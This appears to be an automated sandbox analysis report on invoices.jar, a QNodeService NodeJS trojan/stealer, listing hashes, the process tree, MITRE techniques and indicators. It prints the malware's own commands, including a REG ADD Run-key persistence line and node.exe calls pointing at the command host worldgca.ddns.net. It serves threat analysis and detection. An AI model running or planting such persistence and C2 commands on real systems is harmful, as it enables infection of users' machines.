qnodeservice | cb7a320970092e3ab4fef6740f59658fb12353d5526c4ed6bdf9cbd6f3a37e23

General

Target

invoices.jar
Size

328KB
MD5

f8831577be00b54d782b5745000c2ba6
SHA1

fc2818ce3f3e726453d8be3f84fdfd0ce53c771a
SHA256

cb7a320970092e3ab4fef6740f59658fb12353d5526c4ed6bdf9cbd6f3a37e23
SHA512

444415613ba9952859e17a119533f5f6a2e3a420caaa350ebb444154ac2d25b64496fc8ee93e6f180708b543c1edae36a1d846bc30f8c1114c0cb167bb83f695

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3132	node.exe
3372	node.exe
3944	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\a2806640-26ea-402c-be47-cce662c49ab1 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad46-161.dat	js
behavioral2/files/0x000100000001ad46-164.dat	js
behavioral2/files/0x000100000001ad46-168.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3132	node.exe
3132	node.exe
3132	node.exe
3132	node.exe
3372	node.exe
3372	node.exe
3372	node.exe
3372	node.exe
3944	node.exe
3944	node.exe
3944	node.exe
3944	node.exe
3944	node.exe
3944	node.exe
3944	node.exe
3944	node.exe
3944	node.exe
3944	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3488 wrote to memory of 772	3488	java.exe	73
PID 3488 wrote to memory of 772	3488	java.exe	73
PID 772 wrote to memory of 3132	772	javaw.exe	77
PID 772 wrote to memory of 3132	772	javaw.exe	77
PID 3132 wrote to memory of 3372	3132	node.exe	79
PID 3132 wrote to memory of 3372	3132	node.exe	79
PID 3372 wrote to memory of 3944	3372	node.exe	80
PID 3372 wrote to memory of 3944	3372	node.exe	80
PID 3944 wrote to memory of 536	3944	node.exe	82
PID 3944 wrote to memory of 536	3944	node.exe	82
PID 536 wrote to memory of 2200	536	cmd.exe	83
PID 536 wrote to memory of 2200	536	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\invoices.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\2e8e2780.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:772
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain worldgca.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3132
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_QTv87n\boot.js --hub-domain worldgca.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3372
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_QTv87n\boot.js --hub-domain worldgca.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3944
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a2806640-26ea-402c-be47-cce662c49ab1" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:536
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "a2806640-26ea-402c-be47-cce662c49ab1" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3132-162-0x0000002BBF380000-0x0000002BBF381000-memory.dmp

Filesize
4KB

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memory/3372-165-0x000003B026680000-0x000003B026681000-memory.dmp

Filesize
4KB

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memory/3944-169-0x000003985A580000-0x000003985A581000-memory.dmp

Filesize
4KB

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